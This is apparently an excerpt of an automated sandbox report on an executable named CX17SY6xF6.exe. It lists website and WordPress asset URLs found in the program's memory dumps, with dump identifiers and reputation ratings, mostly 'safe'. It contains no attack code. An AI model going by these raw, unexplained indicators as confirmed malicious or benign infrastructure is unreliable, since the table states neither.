https://www.elpro.si/kategorija-izdelka/wika-partner/nivo/pretvorniki-nivoja/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.710627178.0000000004000000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gholographic.com/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.710627178.0000000004000000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/css.min.css?ver=2.1.0	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hotel-amadeus-frankfurt.de/de/termine/detail/~id.22/Museumsuferfest-2013-23.-25.08.2013.html	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/kabli-zice-in-konektorji/podaljski-za-termoclene-termoelemen	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ora-ito.com/	CX17SY6xF6.exe, 00000000.00000003.648512272.00000000071FB000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tickets.suresupport.com/faq/article-1596/en	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.elpro.si/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.710627178.0000000004000000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.lrsuk.com/	CX17SY6xF6.exe, 00000000.00000002.888204578.00000000071D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/wika-partner/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.elpro.si/wp-content/plugins/mailchimp-for-woocommerce/public/js/mailchimp-woocommerce-pub	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.710627178.0000000004000000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myropcb.com/login/	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/branchen-know-how/	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.elpro.si/wp-content/plugins/cf7-conditional-fields/style.css?ver=2.3.9	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/elpro-posebne-izvedbe-temperaturnih-tipal/profesionalni-seti	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
